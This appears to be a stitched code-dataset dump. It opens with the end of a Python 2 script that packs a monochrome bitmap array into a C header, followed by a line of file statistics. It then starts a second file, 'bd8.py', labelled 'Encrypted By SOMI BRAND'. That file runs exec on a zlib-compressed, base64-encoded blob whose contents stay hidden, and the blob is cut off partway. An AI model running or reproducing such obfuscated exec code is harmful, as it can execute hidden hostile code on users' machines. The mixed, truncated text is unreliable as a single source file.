0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,
1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
]
def print_result(result):
for entry in result:
print format(entry, "08b")
print "Total bytes: %d" % len(result)
def output_result(result, img_name, is_progmem):
print "const unsigned char %s[] %s = {" % (img_name, "PROGMEM" if is_progmem else "")
for byte in result[:-1]:
print "%d," % byte
print "%d" % result[-1]
print "};"
# This simply takes the indices from the GIMP output and packs them into bytes.
# Since the index (pallette) has only two entries (it's a monochrome image),
# each entry is really a single bit.
def pack_bits(bits):
output = []
i = 0
while i < len(bits):
byte = 0
for j in range(8):
byte = byte << 1 | bits[i + 7 - j]
output.append(byte)
i += 8
return output
# To generate the different images, change the parameters in this call
# and run the program again.
# This prints to stdout so you can just redirect to the .h file you want.
# Obviously, this can be improved by reading external files and accepting
# command line arguments -- TODO.
output_result(pack_bits(semi), "semi_img", True)
| 33.853535 | 87 | 0.476279 | 24,799 | 53,624 | 1.029437 | 0.004758 | 1.424419 | 2.017 | 2.579341 | 0.96267 | 0.96267 | 0.96267 | 0.96267 | 0.96267 | 0.96267 | 0 | 0.489225 | 0.062826 | 53,624 | 1,583 | 88 | 33.874921 | 0.018764 | 0.013874 | 0 | 0.71913 | 0 | 0 | 0.001343 | 0 | 0 | 0 | 0 | 0.000632 | 0 | 0 | null | null | 0 | 0 | null | null | 0.004479 | 0 | 0 | 1 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 14 |
45679c9d0a76a1e606bc551cf3c273a9e7277588 | 4,931 | py | Python | bd8.py | HAKERBOYMDALAMIN/bd1 | f570fb8944c2d0f61c1e75a94515f24843c95796 | [
"Apache-2.0"
] | null | null | null | bd8.py | HAKERBOYMDALAMIN/bd1 | f570fb8944c2d0f61c1e75a94515f24843c95796 | [
"Apache-2.0"
] | null | null | null | bd8.py | HAKERBOYMDALAMIN/bd1 | f570fb8944c2d0f61c1e75a94515f24843c95796 | [
"Apache-2.0"
] | null | null | null | #Encrypted By SOMI BRAND
#WHATSAPP : +923455453538/DON,T TRY TO EDIT THIS TOOL/
import zlib, base64
exec(zlib.decompress(base64.b64decode("eJztW1tv2zgWfq5+BetMK3njSJZs5Qpj4VzaBpMmQZO2OxMHBm3RtmpdPJLcJN0u0IdZYH7AYBa7Dwvsy77sPu8P6i/ZQ1K0LpaSOMlcUMypK0vkOYeH5xx+JGVmCb0OI2wtoZP93VdtcwmdjqZDxx4QKPFduxf4S+g5dj8sPdamYaD1bE+bXEUj3zOkpb5v2d6wNY0GK+uS7U78IEJ+WAuvwlpku6Rm4YiwmwB7lu/WRjgcOXavFpBaNAoIptK1d6Hv1aaBQyv6vj+2Cb0bkmiCw1DyQxXURcRV5MBFK8EAqdFlJFelgR8gD9keAt1Douh1oOqmJCEgz+0FqIV4qyr9sr1I0TnV0AanKuNlF2hCDSPLn0Yg5k+Ip8ismRqSMbTFeCYBVUJVxwWJkDpwpuFIiRVGwdUmu4s9EpDvpiSMQolc9skkQvuseC8I/IDzpfo4sScGdAoi4jjIJf0R9uwPRC7RPGNYWHVsU6yYxkgNHUImil7Ny52OiIeiqwnZRHHgUc8PQ+qWhw258FMt6dYg8F3kTp3IngR+n4QhSKsT33eEB06ZzmMo4bxCh8odYvteKFh3fM8jfVrE/BPrFk0Jru3AvwhJIElSQBwfWwr0rCqxUJPIIgMMxhCPJ74iQ+avgyNYts1UqbEOhVZQsS6UWw7pBn7Pj0LlGXZCMldHBgGBHEq0dEdRNFFfnJ4ev+J1x9wFPiiuufiyS93c0pkibFkj8AMJQjDkTJFfQ/Mr7SHxWAofTUiAtQ11vY6UtmcFvm1tIVaIXtqerTUMta4ahtnU1k0Vvd5CtlVFx9Bk5GuGqhtq02igN6AcfKfBo74qV8+Lmp3SZjFvVt7Fznt7rOnqqgrtHtje9HKLKo8tQE21qRpb6PBPpom2p7ZjaV8fnZpmfbWKzp5ttw+1Z9vN9hbcvdH0OuigNq6qq+tQtP1Ga5ob9aa+Woen3Zfany3ihXZ01Wqo9dqFbUWjll5f